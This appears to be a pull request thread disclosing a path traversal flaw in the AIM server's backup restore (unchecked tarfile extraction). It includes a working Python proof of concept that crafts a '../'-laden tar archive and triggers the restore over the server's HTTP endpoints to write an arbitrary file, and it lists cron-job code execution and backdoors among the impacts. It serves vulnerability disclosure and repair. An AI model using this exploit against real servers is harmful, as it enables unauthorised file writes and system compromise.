Fixed path traversal vulnerability in server backup restoration

[geckosecurity]

Version: 3.28.0

Description

A path traversal vulnerability exists in AIM server versions up to and including 3.28.0. This vulnerability allows remote attackers to write arbitrary files on the server's filesystem via a malicious tar file extraction. The vulnerability exists due to a lack of proper path validation when extracting backup tar archives in the restore_run_backup function.

Source - Sink Analysis

The vulnerability exists in the following function call chain:

1. Source: Client.run_instruction() in aim/ext/transport/client.py

• Entry point for remote method execution that accepts untrusted input:

  def run_instruction(self, queue_id, resource, method, args=(), is_write_only=False):

2. Intermediate: RemoteRepoProxy._restore_run() in aim/sdk/remote_repo_proxy.py

• Proxies restore request to repo instance with unsanitized hash parameter:

  def _restore_run(self, hash_):

3. Intermediate: Repo._restore_run() in aim/sdk/repo.py

• Handles run restore operation and passes unsanitized run_hash:

  def _restore_run(self, run_hash):

4. Sink: restore_run_backup() in aim/sdk/utils.py

• Vulnerable tarfile extraction without path validation:

  with tarfile.open(run_bcp_file, 'r:gz') as tar:
      tar.extractall()

Proof of Concept

import base64
import json
import os
import pathlib
import requests
import tarfile
import time
import uuid
import shutil
from aim.ext.transport.message_utils import encode_tree, pack_args

AIM_SERVER = "localhost:53800"

def encode_args(obj):
    return base64.b64encode(pack_args(encode_tree(obj))).decode()

def create_payload_file(filename, content):
    with open(filename, "w") as f:
        f.write(content)
    return os.path.abspath(filename)

def create_malicious_tar(target_path, content):
    payload_file = "payload.txt"
    create_payload_file(payload_file, content)
    
    tar_path = "malicious.tar.gz"
    with tarfile.open(tar_path, "w:gz") as tar:
        tar.add(payload_file, arcname=f"../../../../../../../../{target_path}")
    
    os.remove(payload_file)
    return os.path.abspath(tar_path)

def exploit():
    client_id = str(uuid.uuid4())
    unique_id = uuid.uuid4().hex[:8]
    target_file = f"/tmp/aim_vuln_proof_{unique_id}.txt"
    
    if os.path.exists(target_file):
        os.remove(target_file)
        
    content = f"AIM Path Traversal Vulnerability PoC\nTimestamp: {time.time()}\nID: {unique_id}\n"
    
    print(f"Creating exploit for AIM server at {AIM_SERVER}")
    print(f"Target file: {target_file}")
    
    # Create malicious tar file
    tar_path = create_malicious_tar(target_file, content)
    print(f"Created malicious tar: {tar_path}")
    
    # Create Repo resource
    resource_url = f"http://{AIM_SERVER}/tracking/{client_id}/get-resource/"
    response = requests.post(
        resource_url,
        json={
            "resource_handler": "repo",
            "resource_type": "Repo",
            "args": encode_args({})
        }
    )
    
    if response.status_code != 200:
        print(f"[-] Failed to create Repo resource: {response.text}")
        return False
        
    repo_handler = response.json()["handler"]
    print(f"Created Repo resource: {repo_handler}")
    
    # Set repo path to /tmp
    instruction_url = f"http://{AIM_SERVER}/tracking/{client_id}/read-instruction/"
    response = requests.post(
        instruction_url,
        json={
            "resource_handler": repo_handler,
            "method_name": "path.setter",
            "args": encode_args(["/tmp"])
        }
    )
    
    if response.status_code != 200:
        print(f"[-] Failed to set repo path: {response.text}")
        return False
    
    print(f"Set repo path to /tmp")
    
    # Create bcp directory
    bcp_dir = "/tmp/bcp"
    os.makedirs(bcp_dir, exist_ok=True)
    
    # Copy malicious tar to bcp directory
    run_hash = f"exploit_{unique_id}"
    bcp_tar_path = os.path.join(bcp_dir, run_hash)
    shutil.copy(tar_path, bcp_tar_path)
    print(f"Copied malicious tar to {bcp_tar_path}")
    
    # Trigger vulnerability via _restore_run
    print(f"Triggering vulnerability...")
    response = requests.post(
        instruction_url,
        json={
            "resource_handler": repo_handler,
            "method_name": "_restore_run",
            "args": encode_args([run_hash])
        }
    )
    
    # Verify exploit success
    if os.path.exists(target_file):
        with open(target_file, "r") as f:
            file_content = f.read()
            
        print(f"Successfully created file: {target_file}")
        print(f"Content: {file_content.strip()}")
        return True
    else:
        print(f"[-] Exploit failed - target file not created")
        return False
        
def cleanup():
    """Clean up temporary files"""
    for file in ["malicious.tar.gz"]:
        if os.path.exists(file):
            os.remove(file)

if __name__ == "__main__":
    try:
        exploit()
    finally:
        cleanup()

Impact

This vulnerability allows attackers to:

• Write arbitrary files to any location on the filesystem where the AIM server process has write access.
• Potentially achieve remote code execution by writing to executable locations (e.g., cron jobs, startup scripts).
• Overwrite critical system files or application configurations.
• Create backdoors or establish persistence on the affected system.

[CLAassistant]

Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.
_{You have signed the CLA already but the status is still pending? Let us recheck it.}

[geckosecurity]

Hi! We've signed the CLA after submitting the pull request. Are there any updates on the review of this vulnerability?